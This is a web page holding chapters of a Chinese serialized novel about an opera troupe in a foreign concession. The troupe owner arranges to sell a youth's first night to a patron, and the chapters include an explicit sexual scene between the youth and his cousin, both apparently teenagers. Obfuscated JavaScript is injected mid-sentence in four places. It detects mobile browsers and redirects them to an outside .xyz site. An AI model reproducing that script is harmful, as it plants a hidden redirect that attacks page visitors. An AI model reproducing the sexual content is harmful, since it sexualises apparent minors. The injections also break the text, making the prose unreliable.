乔璃眉眼弯弯，笑容里漫出喜意：“就来呢。铭哥，之前给你的热敷包，用着可还好？你的腿疾是老毛病，里面的药也要合着季节调整，才能舒服。” 钟铭与两人年岁相差不多，之前一直是泰春班的“新星”小旦。因为今日不演主角，而要给周莲泱作配，一直心气不顺。可他正气呼呼的，被乔璃拿药包一卡，心里有再多的气，一时也发不出来了。 无他，这两年来，小到肠胃不适，大到风寒旧痛，眼下都是乔璃在管，省了戏班子一笔请大夫的银钱。 就钟铭这腿骨风湿的老毛病，一般大夫也看不明白。到了乔璃手里，一副药帖，半月一次的点穴，竟然真渐渐没那么疼了。 俗话说伸手还不打笑脸人。乔璃看病勤谨，脸上又总是笑笑的，像个观音座下的童子，原本戏班里有几个好欺负新人的老油条，因着她，看见处处不适应的周莲泱，也少有使绊子、背后说坏话的。 “再、再有一炷香，前头戏就演完了。”钟铭舌头磕巴了一下，到底年岁大，定定神，道，“今日可不少人是为你来的，懂么？不只是甬明商会那些人，还有……各路租界的大爷。” 周莲泱点点头：“我晓得，多谢铭哥。” “行了，不是我，东家也会提醒你。”钟铭嘴里嘟囔两句，“砰”一声关上门。他也满脸妆，一身叮叮当当的发冠首饰。化妆间里的是嘴利刻薄的钟铭，出去往前厅走，就摇身一变，摇曳生姿地化进戏中的角色。 周莲泱拿手轻轻点一点乔璃左颊陷进去的小酒窝，权当一吻：“囡儿起来，我得走了。” 后厅冷清，前面却热闹极了。 从正门入石库门里后是一天井，再后是一厅堂，天井中搭戏台，厅堂厢房重造作为看戏雅座。戏早已开场，两侧厢房坐满大半票友，有老茶楼客、甬明商会的，还有不少黄头发鹰钩鼻的外国人，带着女伴，大咧咧地坐在前面观戏。 第一场往往是武戏开场，调动气氛。按照戏曲演出的规矩，在开戏前场面上要先“打通”，靠得是锣、铙钹和堂鼓。 嗵嗵锵锵一阵热闹的“打通”后，就有一个武生翻上台，开始演《安天会》里的《偷桃》和《盗丹》。 这两折戏连演，讲得是孙悟空大闹天宫，偷蟠桃、盗金丹，径回花果山一事。 泰春班养得几个好武生，猴王唱昆腔，四大天王唱戈腔，嗓音嘹亮高亢，气足声纵，加上《安天会》取自《西游记》，情节通俗易懂，连半通不通的西洋人都听得连连点头[2]。 武戏并非今日的重点。锣鼓过后，便是箫笙。萧笙的调子一飘，台下老票友的神情便郑重期待起来。 泰春班本来就是新班子，时下流行的又是与昆腔戈腔殊异的京剧，能在美租界占一块地、兴兴胜胜地演起来，其中一半作用，要是泰春班新改、新排的昆曲折子。 有老票友评，泰春班新排曲目，老折如《西厢记》、《紫钗记》，《牡丹亭》等，情曲相合，艺绝凡辈——“转腔、换字之间别有一种声口，举目回头之际另是一副神情，意色眼目无不尽情刻画，背后必有深通文墨之人精心改戏[3]。” 这“深通文墨之人”，被泰春班班主遮遮掩掩，挑意惹兴，瞒了一年半载。多方打听下，票友才晓得，泰春班并非有意藏人，之前此人迟迟不现身影，是因他尚在少年声音变换末期，还是个黄口小儿罢了。 但这黄口小儿年少天才，又兼落难桐城贵族，身世凄苦复杂，这下可引爆了噱头。 几月之后，新排的《金雀记》初露口风，便得口耳宣传，泰春班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615133|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次遇见台下坐满人、就为等捧新人第一场戏的盛景。 需知《金雀记》系演晋时潘安仁一对金雀寄妻妾、遭妻佯妒惧内之趣事，乃小生、正旦之重头，向为昆班中著名之戏，惟近时京班中能演者已如广陵散矣[4]。 周莲泱考晋代人物，多风流韵事，此剧虽无所本，但并非全然凿空。他按《金雀记》旧剧本，考据《世说新语》等小说杂记，重新熔铸唱腔，再添改身段，将流行的四折全部改了一遍，使其更加通俗易懂、活泼有趣。 其中《庵会》与《乔醋》由他操刀大修，玉关柳和戏班里的老生仔细提看，他第一次登台亮相，演的便是自己改的正旦井文鸾，钟铭作配巫彩云，两人竟也圆圆满满唱了下来，甚至大获成功。 金雀记一连排了半月，两位旦角唱腔身段更加圆融，今日一听加演，唱戏人尚未出场，台下便有捧场之音。 天已经完全黑下来了，台上的灯光很亮，一照便将唱戏之人照得纤毫毕现。 正旦走进来，让人一眼难忘的除了唱腔，还有他的身材——削肩长臂，细腰窄臀，潘夫人华贵的粉衣与寻常戏服不同，腰背处稍稍一收，莲步轻移间，多了一抹芙蓉婀娜不禁风的曼妙气质。 《庵会》一折，演潘安仁未第时，与一乐伎巫彩凤两情相洽订白头之盟。旋经丧乱，彼此分离。巫彩凤暂度为尼，庵会上逢遇潘安仁正妻井文鸾，两人一见如故，各道心事，井文鸾同情吴彩凤才华遭遇，引以为友。 “多蒙欵留情意好，木桃未报琼瑶，待河阳会后将伊报。奴是井文鸾，配洛下英豪……” 他唱井文鸾，先疑惑，再了然，后又同情流露，情态衔接婉转自然。曼声的唱腔中，坐着的姿态和手势有一种和心情暗流转的意蕴，有意无意间吐露井文鸾发现巫彩凤身份的心事。 井文鸾半依着椅子，慢慢拨动茶盏，眼睛从一边看到另一边，思虑慢慢化成对巫彩凤的欣赏。 说来也奇怪，海市滩戏子中秀丽人物本来多有，却少见如他一般身段款款、将女子柔丽曼妙情态演得十分像的。 与之相较的巫彩凤，美则美矣，却失了一分弱不胜衣的情态，倒叫台下之人暗笑，这妾竟还不如正妻之美。调笑声传入耳里，气得钟铭心里翻江倒海，唱腔中都多了一丝咬牙切齿的意味。 《庵会》演完，后面的《乔醋》更是有趣，井文鸾捉着相公潘安仁诘问巫彩凤得定情金雀一事，潘安仁无法，只得长跪请命。 潘夫人佯作含酸，实则毫无醋意，并亦欲玉成之。此不过乔装以绐潘安仁耳，故剧名《乔醋》云。 “当年惜别，金雀轻分……相公你可取来，待我以绣线同心……” 乔璃在台下看着周莲泱。他眼睛生得美，灵得像是会说话，轻抛斜袖卸长肩，起身托住扮潘安仁的小生的手，缓缓下蹲，再起身，不失大家闺秀的雅致，又含吐一份别样的娇慵姿态。 戏曲本身并不能吸引她，哪怕折子里的字字句句都是她陪着他改过的。她不懂戏中人：若是真爱，又怎能容得下第三者，怎能“不醋”呢？ 戏里讲的事，大概不过是三妻四妾的男子幻想出的无聊情/事罢了。 “钟铭还是沉不住气，差了一点，这名伎啊，都让他演成妒妇了。” 玉关柳手里托着茶盏，翘着莲花指，一边跟着哼，一边与同包厢里的熟客票友说笑。过了一会，眼波一转，抛向端茶倒水的乔璃：“小乔儿，你过来。” 她把一只白惨惨的指尖搭在乔璃手背，分明是笑着的，眼里却冒着一点寒气：“演了这半月，你表哥可出了名呢，登台半月，已有人专给他投笺，你现在可不愁没药吃了。” 乔璃也是笑着的，端庄清秀的小脸微微漾着一层淡淡的红晕，并不光艳照人，反而亲切可爱：“全靠柳姨抬举。” “是了，你一直唤我柳姨。也不知这之后，你还能不能叫得这么腻。”玉关柳拿团扇半遮了脸，垂睫，“小乔儿，有人豪掷千元给你表哥买了名，唤‘金腰雀’。如何，高兴不高兴？” “初/夜毕竟娇贵，人家愿意等，但也不能久等。你若明白，这几日就和我学学，帮他准备起来。我已许久没有调教年纪这么青的孩子了，下手没个轻重，弄伤他可不好。好歹娶妻，你作为妻子，也对他尽一份心意。” 戏台上张灯结彩的，将戏曲一幕幕映得通亮，四方包厢看台却黑蒙蒙的。 玉关柳若有似无的笑影也染着乌黑恶意，瞧着面前脸上血色渐渐褪去的少女，心想，这情比金坚，嘴皮子说来自然是好，若是要亲手将爱人送上他人之床，充作玩物，折了一身清骨…… 情比金坚，鸳鸯同心……又能怎么样呢？ 14. 拾叁 鸳鸯交颈 周莲泱两日未有开嗓。 玉关柳没有逼他，应她那句，从不强逼人。 愿意在她手下当荤角的，谁不是个苦出身、家里没有三四桩凄惨事？ 就拿钟铭来说，他打闹饥荒的北边来，流浪一路落下风湿腿，先要被卖去当太监，后又不知怎么知道泰春班荤角给的钱更多，便成了荤角。如今挣得一点钱，自己不够用，袄子穿烂了，也还要养着父兄一家子。 一时一刻的不愿意，是顶不住沉郁郁现实的重压的。 比玉关柳预料得还早，第三日，怀表刚过六点，周莲泱就把自己打理得清清爽爽，像是无事发生一样迎面一礼：“东家早。” 秋日渐渐厚起来，风里头的寒意一路凉进心里，显得穿着短衣单裤的少年有些身姿单薄。 玉关柳把眼盯了他一会，道：“你想明白就好。过来吧，我给你讲讲戏。今日讲玉堂春，讲一折苏三起解。” 周莲泱一愣。只要是爱戏的，就没有未听过苏三十大恨的，可要刚摸入戏曲一道的他唱《苏三起解》……这可是青衣中著名的好戏，便是浸淫此道数年的名伶，也不敢夸口能将苏三唱得有多精，始终谦逊打磨罢了。 女人知他心中所想，淡道：“你这年纪，唱苏三本是不合适的，只那买了你的票友独爱此折。倒也不用慌，能演出个二三分，糊弄过去那夜，也就得了。” 糊弄过去那夜……周莲泱本不知道怎么回事，玉关柳提一句，他才有些不敢置信的问：“那位……大人，是要我……” 玉关柳清眸一弯，手里的团扇转了转，点头道：“正是呢，他要你穿苏三起解上路的红罪衣，好好伺候他一晚。” 少年左手紧握右手，双颊微收，牙在嘴里紧紧咬着，神色说不清是嘲是怒。他自幼爱戏，《玉堂春》也听过不下五指之数，从唱词到唱腔，每个派系各有不同，但有一点是共同的，就是苏三的打扮——那一身血红血红的女罪衣[1]。 苏三本是娼寮女伎，自幼卖身，与公子王金龙有啮臂之盟[2]，后被沈洪抢走赎身做小妾，受人诬告至死罪。苏三起解这一出长戏，演得就是苏三跪在满大街民众前，伸冤自白十大凄苦恨事的一幕。 苏三有凄厉的恨、六月飞雪的冤屈，象征哪怕出身卑贱，也依然有情有义、坚韧不屈的女性形象。十大恨唱完，座下没有不动情流泪的。 可买他的人要他穿这样一身血红的罪衣，唱完冤，便爬上床去、去伺候…… 所以此人怀得是怎样的心，由此可见一斑。 玉关柳晃一晃团扇，揽过少年绷紧的肩膀，轻轻劝：“小莲儿，人家呢，掷千金捧你出名，是瞧得起你。我们泰春班，不靠唱戏赚钱，可还没哪个新人承过这么大的面子呢，所以东家我呀，今日也不藏私，给你好好讲一讲。” 她擎着一个本子，缓缓翻开。周莲泱心中本来闷着，但她给他看的不是寻常剧本，而是自己整理的“活本子”。 “活本子”一般是戏曲伶人定唱词、改身段，记心得的“演出日记”，名角的“活本子”，往往浓缩不少唱得好的机密，轻易不予人看。 玉关柳在他面前翻这个加了硬皮壳的唱戏心得，就如同在一匹饿狼前晃动鲜肉，由不得他不全身贯注，仔细聆听。 学完戏折，玉关柳并没有放他走，而是让他继续吊嗓子、练苏三的身段与唱腔，从早忙到晚，只让他喝水，食青菜稀粥，再加一副清苦的膳汤，最后以药浴收尾。 周莲泱见过钟铭偷偷泡这种药浴，知道这是软茧子、嫩肤肉的汤药，而他喝的膳汤，同样是清肠胃，不让受用他们的大人“污了双眼”的特殊汤物。 他不由惨笑，笑自己都死到临头，才真正清楚地明白过来，将要迎接自己的，究竟是怎样的一种境况。 到了晚上，秋高气爽的天忽然下起雨来。檐下瓦上，还有那戏台藻井，雕花排窗，疾徐不定。周莲泱与乔璃的住处分在阁楼，冬冷夏热，只有秋天一段，温度尚还时宜。 他在一楼打水沐浴，绞发换衣，对镜子一笔一划描眉梳妆。被赠予“金腰雀”一名后，化妆的珠粉、涂眉的螺黛，各样装饰，全换成更好的用具。 玉关柳给他的一套女罪衣并非唱戏之用，料子更柔软、更华贵，也更贴身，仿佛是依着他的身量定做的。 与明镜相对，镜中显出一张苍白尖削的脸，乌发披散，眼珠清澈照人，看人时不自觉带几分凄楚哀怨，加上嘴唇没有一点血色，更叫人生出一点施/暴/残/虐之心。 周莲泱对着镜中倒影微微一笑，指点珠红，柔柔在唇珠一按，按出圆小的红痕。 他含着那一点玫红唇珠，披着苏三血红血红的罪衣，拾着一级一级台阶往阁楼走。到了两人的房间，脱下鞋，赤脚迈入房门，未发出一点声息。 雨下得越发凄凉起来，房中只点了两只烛，一切都影影绰绰、看不分明。 他的表妹蜷在床里，蹬开一点薄被，头挨在他的那边布枕，沉沉地睡着。周莲泱坐到床沿，手指虚虚抚在乔璃发顶。 他头发长得快，两年下来已及肩膀，当然还是比不上表妹从小养到大的长发。 乔璃的身体虚弱，长发却养得好，乌黑发亮，比苏缎还柔美。可惜往日有一段气血补不足的时期，她的发梢就发黄干枯，不得不修整剪掉。后面有人给他投笺，能用的钱慢慢多了，才把她的头发养回来。 思绪漫无边际地随雨声流转，手指顺过发梢，扯下两丝，他静默半刻，将那两根断发拢了，轻轻系在乔璃披散的发尾。 这样的触碰，乔璃不能不醒。她睁开眼，目光和周莲泱微微一碰，便是微惊。 他穿着一身红尽极妍的血衣，披着头发，影子藏在烛光里，露在外面的半张脸，露出一种比下珠玉的透彻的清润。 “囡儿。” 他低下头，乌发散下来，垂在乔璃面颊上方。他的唇微微扬着，眼里却没有笑，只有一种乔璃看不明晰的痛意。 “囡儿，你……”还染着草药味的指轻轻拂过她的脸，慢慢收回，摁在红罪衣的领口。也不知怎么一拨，衣领就缓缓滑落肩膀，显出玉琢一般的雪色削肩。 他的唇也挨过来，叹着，又像在笑：“我的第一次，合该是给你的。你要了我，别让人抢先，好不好？” “表哥。” 乔璃扑进他的怀里。两年过去，她也长高了，与他只差半个手掌。因为养得好，清瘦的筋骨也多了些圆润的肉，张开手，能将少年抱个满怀。 “我们走吧，表哥，我们走吧。”她急促地在他耳畔低喃，“我想起很多药方，病也快好了，可以当大夫，只要我们在一起努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615134|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就没事的，我没事的……” “傻，囡儿也说起傻话了。”周莲泱将一指轻轻抵住她的双唇，一手扣住她的腰，忽然垂头，用自己的唇替了指。 他托起她的脸，舌尖一寸一寸舐过她的唇缝，一点点抵进去，眼波流转，含着两抹若掩深爱的水意。 乔璃的手在他背后猛然收紧，他也心有默契地一侧身，旋转间，被少女按进床帐中央。 血衣被全部褪下，接着是绯红裙裾。他蜷了蜷长而直的两条腿，乔璃落了一眼，灯下，他的皮肤是晕着暖黄的透白，因为长久的唱与练，覆了一层薄实的肌肉。 她将一只手按上去，染着水汽的腰身微硬，又湿又冷，好瘦。 仔细瞧去，少年惨色的脸不知何时凝起两抹赤红，蔓至颈项，与身下落的血衣仿佛。 “囡儿……囡儿知道怎么做么？” 他的睫如蝶翼，颤个不停。 “柳姨教了我。”她说。再有，她对人体构造，好似也了如指掌。 她用黑色的大眼睛注视着一点一点敞开身体的他，头依偎过去，脸对着他的侧脸：“表哥，你会后悔吗？没有我的话，你至少不会被人羞辱。” 他的注意力本全放在贴按腹部的那只软韧的手，闻言倦眼半抬，刚想说话，肩头就被咬了一口。她咬得深，未出血，牙印红一块。 乔璃眼里闪着些周莲泱从未看过的神情，是既成之物与未成之物混杂的割裂，原始、模糊而晦涩。 “后悔也太迟了，表哥。”她吻住他的唇，不是吻，是噬咬。眼底泥泞乌黑，满溢的压抑的贪婪。“太迟了，周莲泱……太迟、太迟了。” 周莲泱喘息起来，一些难捱的、陌生而饱胀的感觉刺激身体的每一部分，激起多得令人难为情的生理反应。 他不明白，只是一个吻，只是被注视，只是一只放在腹部的手…… 乔璃伏在他身上，慢慢地吻他，一言不发，犹如巡视领地的母虎，一寸一许，不放过一点未探索过的地方。那是自信满满的巡视，她握住他的颈子，抬高，总是不让碰的喉结一览无余。 她把尖牙扣于其上，咬下去，身下渴求猎手的猎物身体一瞬僵硬，又强自放松。 他被困在少女与床褥之间，她的拇指按住牙印留下的圆圈，缓缓抚至胸口，向下拉出一条直线。 …… 一柱红烛泪将尽。 乔璃抱着他，良久。俯身过来，轻轻啄了一下周莲泱耳后一点赤红欲滴的小痣：“表哥，你第一次做梦，梦的是我吗？” 不等他开口，就自问自答：“想必是了。你那夜忽然叫我的名字，然后……嘻。就是那夜，对不对？” “不……我没……不是这样的！” 他急起来，满面泪淌，真如水中玉莲。 乔璃带着一身奇异香气，去拨弄他的发梢：“表哥，你梦到什么了？与我欢好？我不介意的。” 她的声音里只有好奇，周莲泱却气恼起来：“你怎能这么想我？你那时还未及笄！你，你！” “那表哥梦我，梦什么？” 乔璃如此执着不休，周莲泱无法，回身把她抱进怀里，头扣在自己胸口：“梦见……只是梦见你……你第一次吻我。” 那个染着泪意，无比温柔，却又重逾千钧的吻。 15. 拾肆 雨打新荷 半晌无话。 窗外还在下雨，雨点洒在石库门里弄堂，洒在老虎窗前。 从窗外望去，不像夜晚，也非白昼，灰冷的色调，就似永恒的寂静笼罩阁楼这一方狭小天地。 乔璃拿出一个小木匣，半个胳膊长，里面铺着红布，放着一根如意状的玉物事、两只小瓷罐，还有若干牵连着流苏的小金夹。 这就是玉关柳给她的“教器”了。 她将瓷罐打开，里面盛着雪白的猪油状膏体，另一罐是些散发草木清香的淡绿油膏，分别要用在不同地方。 周莲泱静静看着，看她挖出一团，在手心揉开，涂匀指尖。他躺下来，腰间垫起枕头，扫了一眼乔璃。 ------ 荷塘月色。 采莲人在一线莲泉中静静地就饮，与清泉肩并肩密密地挨着。从水岸看去，叶子底下是朵细白如珠玉一样的莲花。采莲人低头轻嗅莲香，花瓣柔软，还羞涩地打着朵儿。 叶子底下除了脉脉的流水，还有牛乳洗过一样的新藕。 藕节窄闭，被采荷人用水濯入。藕节风味的核心，被一点一滴品尝干净。 周莲泱的脸像抹了不匀的胭脂似的，从含了泪的眼圈儿一直烧到清凸的颧骨。 乔璃低下头，披在肩后的浓密乌发倾下几缕，散在他细白如珠玉的小腹，堆在一起。 她的发丝冰凉冰凉，手又滚热似烙铁。 周莲泱全部的神经与意志都集中在这两处，手死死攥着身下莲蓬回纹被单，攥得指节都酸楚了。 他使表妹做这样的事，偏偏打心里头漫涨出这样多——这样多的快意。 莲花与叶子有骤然的颤动，像闪电一般，霎时传过荷塘的那边去了。 “表哥，你笑一笑。” 采莲人低头采莲子，莲子清如水，莲瓣烧得更红了。 周莲泱觉得时间仿佛静止了，有震撼人心的烟花在眼前炸开了。 他仰起头，耳畔好像刮过大风，什么都听不到、什么也看不见，空气火烫，烧过喉管，吸进半口，还没透过气管，又被长长叹出来。 樱粉的花苞，小兽啜饮一次，犹觉不足，再吃，三次四次。 恐怖揉合在难忍的愿望里，他抬起手背挡住眼，一个劲淌眼泪。脸上烫，脖颈也打摆子似地颤起来。 乔璃又探身去吻他，他的头向旁偏了一偏，竟是因为太久未呼吸，眼前一片窒息前的白光。 荷塘连波，翻起清浪，浇上河岸。 “哥哥，爱哥哥……你转一转身。” 她竟然学来这样的话去哄他。 周莲泱的耳朵像是钻进一团火炭，双手捂住，却被一把抱在怀。 她亲他圆润的耳垂，亲他线条坚硬的下颌，就这么缠绞在一起，两条蛇一样。 周莲泱觉得身体像是被剃刀片狠狠刮了一下。真疼。 泪涌出来，他把手埋在胳臂里。那生疼生疼的痛不只是痛在身体上，更震进他的胸膛。 身体里多了什么，心里却落落地空下去，眼底也跟无底洞一样黑。 乔璃抚摸他的头发，指尖落在那处未完全祛掉疤痕的腰伤处。 她附身，吻落于那处伤疤，星星点点，如同柔软的月光，洒在他幼生白鹿一样的四肢上。 “哥哥……”她叹道，“哥哥今夜是我的了。” 周莲泱忍不住转过来。眼睛格外红，用手一揉，就和新下的桃儿似地肿起来：“……囡儿不会后悔吗？” “悔什么？” “悔……”他低头看一眼自己，失魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615135|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落魄，“悔做我这样的人的妻——我从此之后便是这样的人。” 乔璃静了一会儿，这段无话，让周莲泱后悔问出不能解的问题。 “……没有心的人活不长。”她闭起眼，再睁开，慢慢趴到他背上，脸贴着他的脸。“我以前没有心，表哥成了我的心。人怎么会后悔多了一颗心？” 他又开始淌眼泪了。乔璃拿指点了一点，放进嘴里。 雨止了么？还是更大了？荷塘被雨浇得一阵一阵泛起波澜，不曾止歇。 …… 第二日，天刚蒙蒙亮，周莲泱醒来，动一动，腰酸涩得紧，就像是有人打了他一顿。 “还痛吗？” 旁侧伸来一只手，让他侧身躺过去，按在穴位处，仔细按起来。 “昨日是我有些激动，不该做得那么久。” “不……”周莲泱脱口而出，“表妹很厉害。” 乔璃给他捏按腰部的手顿了顿，唇角绽开一丝笑意：“好。” 他才反应过来自己说了什么，脸一红，立刻烧到耳朵，想找个地洞把自己埋起来：“不是……我不是那个意思，嗯，也不是你不厉害，但是……” 少年抓住枕头盖在自己头上，眼睛一闭，扮鸵鸟。后面半天没有听到乔璃说话，忍不住揭开枕头。 微亮天光中，她披着发，脸颊散发出一股瓷器般的光晕，就这么温柔地看着他，眸子净澈如水，没有半丝波澜。 周莲泱心神恍惚，听她道：“表哥，还有一点早，继续睡吧。” 他依言抱住她。与其说是抱住她，不如是挨进她怀里。他心里闷闷的，又满满当当，心里搅着对未来的恐惧，又填饱切切念念的痴爱。 谁的心脏在扑通扑通跳，交织在一起，飘飘着远离了现实。 16. 拾伍 愁烟泣露 后院儿天井里，钟铭开罢嗓，正在照活本子练身段，一折未完，忽听前院人声嘈杂起来。 玉关柳标志性的和声慢语引在前头，往茶室里去了。 钟铭静静心，折身上阁楼去敲门。敲一阵，乔璃扎着一根松散的麻花辫，鬓发散乱，面色还很困倦，眼底已清明了：“铭哥。” “今日商行的人来，你要我唤你。喏，我唤了。”钟铭一手叉腰，一手松松点着下巴，卷翘的眼睫覆着水汪汪的眼，思量着，“好似还有一个红卷毛的洋鬼子。” 乔璃就一扬眉：“我知晓。多谢铭哥。” 她回屋汲水洗脸，拍去久睡大脑的昏胀。换一身见客的衣裙，挽一个最简单的髻，别一支花簪，便下楼去后厨。 后厨已备好泡茶的热水，乔璃一闻凤凰单枞那馥异的香气，便知今日来的不仅是甬明旧友，还有岭海的商人。 这些打风浪里来去、乘沙船采办的商人，身上多有海水带来的旧毛病。后厨文火煮的药包，便是乔璃昨夜就吩咐厨娘备的。 掐着点算，时间差不多，她添入两味药，余温闷住，放进托盘中，端去茶室。 茶室里水烟轻袅，满是人声笑语。乔璃敲门，便听玉关柳笑着让她进来。房间装饰得极为老派，用得都是上好实木打造的老家具。只见左首上桌坐了个五十多岁的老翁，装扮只是朴素的长袍马褂，手里捏着一支陈旧的鼻烟壶，但一身气度却极大方，一望即非常人。 玉关柳与严树明一左一右坐在两侧，另外还有六人，除一个红发碧眼的人外，剩下都是至少有一面之缘的商人。 首座的老头一望是她，便笑道：“好、好，方才还谈到小乔儿。你那治风湿的药包喝着极好，这哥儿俩，今日来有一半是向你讨要的，是不是？” 坐在下首的有两个稍年青一些的，正是打五桂来的茶叶买办黎鸿博、黎鸿学兄弟，两人不仅在茶叶生意上多有投资，在沿江口岸还有诸多地产。严树明手下的沙船货运，与这两兄弟也有紧密的联系。 乔璃脆道了两声好，将银壶中的药茶倾入盖碗，先端给黎氏兄弟：“黎伯伯喝着好，晚辈心里真是高兴呢。江上水冷风急，我心里总记着快要入冬，又将方子改了一改，誊抄成帖，请您看呢。” 随着盖碗递过去的，还有一纸药方。黎鸿博接了，裁下的宣纸上是几行清新飘逸的簪花小楷，还未细看，就觉得一股灵秀之气扑面而来。 乔璃又从另一只银壶中倒出深红茶浆，奉给上首老人：“给孟爷爷的，便多加了些糖，不减药性。” 那老头儿哈哈一笑，端起盖碗呷了一口，药茶苦涩果然被某种果甜盖过：“严家老大，你打哪儿找来这么一位灵秀人物。” 严树明笑道：“内子就如那守株的老农，全靠兔子自己撞上来罢了！” 乔璃给另外几位客人倒茶的功夫，红发洋人眼珠转一圈，叽里咕噜说一串洋文，除上首的老人时不时颔首外，一一答应下来的，竟然是玉关柳。 女人将英语说得极熟练流利，且毫无口音，不紧不慢的话语，说着说着，两人俱是哈哈大笑。 红发洋人将好奇的目光朝乔璃投来，玉关柳便挥挥手：“小乔儿，我让你备的……咖啡奶茶，可得了？” 红发洋人身旁的年轻人一怔。她是孟姓老者的大孙女儿，名叫孟彩霞，自幼读书，上得教会学堂，自然知道咖啡是什么。 咖啡么，是几十年前的英吉利人首先带入的，可味道苦涩奇怪，并不能与茶相比。爱喝之人大多是洋籍水手，喝来聊解乡愁，一般国人，却是不甚解的。 严家备了咖啡已让她吃了一惊，交个眼前的小姑娘烹煮，就更令人好奇。 只见她掀开一个铝罩子，下面便露出一把怪模怪样、看着颇似什么化学课玻璃杯量器一类，上下分层的大壶。 这壶一出现，那洋人就“忽”一下站起身来了，双手压扣檀木桌，腮帮子一鼓一鼓，眼中若有泪：“赛风，赛风[1]！” 他这么激动，玉关柳和孟彩霞赶紧安慰他。说来也巧，这人是英吉利的爵士詹姆士·凯恩，在租界也颇有势力，可惜因为种种事宜一而再、再而三错过归国时机，三四年都未曾回家探亲。 来自家乡的咖啡豆、虹吸咖啡壶，勾起的不仅是乡愁，还有对家乡饮食的渴望。 但詹姆士自己，是不会烹煮咖啡，从来都是家中爱好新奇物事的太太操作。放在眼前的异国少女手里，便更让人担忧——做得不对味，反而败兴。 好几个人若有实质的目光下，乔璃还是笑眯眯的，两颊挂着讨喜的笑涡，手下不停，把磨好的咖啡粉与净水分置两层，下壶置于卤素灯上。 水从常温到沸腾，从下壶吸入上壶，水不停旋转，冲煮粉末。乔璃心算计时，迅速关火，水内旋转不停，转出细润的圆丘。 咖啡倾倒而出，乔璃又适时往他的咖啡里加入大量奶油与砂糖——外国人的口味嘛，自然是什么东西都越甜越好。 詹姆士不顾热烫，轻吹饮入，登时长长出了一口气：咖啡豆相比家乡，是不怎么太新鲜的，可已是国内能找到的极限，冲煮得当，苦下也有丝丝花果风味与甘甜。 洋人深眼窝里的一双大眼眯了起来，室内气氛也随即一松，严树明笑着挥手：“小乔儿，快把剩下的分分，让我们也尝个新鲜。” 乔璃也弯眸微笑：“那我就献个丑，做一份‘鸳鸯奶茶’。” 奶茶顾名思义，是加了奶的茶汤，英吉利的人偏好这一口。但鸳鸯奶茶又是怎么做？孟彩霞还沉浸在虹吸壶之有趣的心思，倏忽一转，转到奶茶上头。 乔璃便捧出焗过的斯里兰卡红茶，撞入鲜牛乳，又按照比例加入三分咖啡并浓厚炼乳，一杯一杯分过，笑道：“咖啡三分，茶七分，这边是‘苦味鸳鸯’了。” 咖啡和焗过的红茶俱有苦味，被牛乳与炼乳自带的糖鲜那么一搅，成为一种恰到好处的平衡，便是平日讨厌苦味的詹姆士，也不由拍起巴掌，连赞“delicious”。 严树明一直注意着上首孟姓老者的神情，见他转来的眼里不仅有笑、还有三分肯定，一直提着的心便落回肚子。 孟姓老者不是别人，却是甬明商会的领头人之一、海市通商银行的创办者孟厚信，名头响当当的巨富儒商。孟厚信不仅巨富，且心怀扶掖同乡、促进公学的心胸情怀，早年严树明也承过他的人情提携，后一直在江浙为他办事。 如今家业搬至海市，严家便真正置身风云中心，今日讨好詹姆士，也是因他在英租界的能为权力。 得到詹姆士的认可，从前与霓国人几桩难堪首尾导致的商路不顺，恐怕能好上许多。 詹姆士喝完笑完，便正经与孟厚信谈起生意。孟彩霞被爷爷带出来见世面，兼充当关税与商品的翻译人，谁知她要做的工作，全被玉关柳代替了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615136|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她怔怔听了一会儿，光看对方如何长袖善舞，不紧不慢将生意一桩桩铺陈下去，终于反应过来——原来严家这桩桩件件活计，其实居中决策的并非严树明，而是玉关柳才对。 泰春班能在美租界安身，除了爷爷与其他甬明商友相帮，恐怕玉关柳从前结识的洋人势力，也出力不少。 孟彩霞原来不知个中底细，听言到此，才心中明了：所以这儿不仅是一处寻常消闲的茶园戏班，有擅通外语人情的玉关柳在，更是甬明帮会的活动与接待场所。 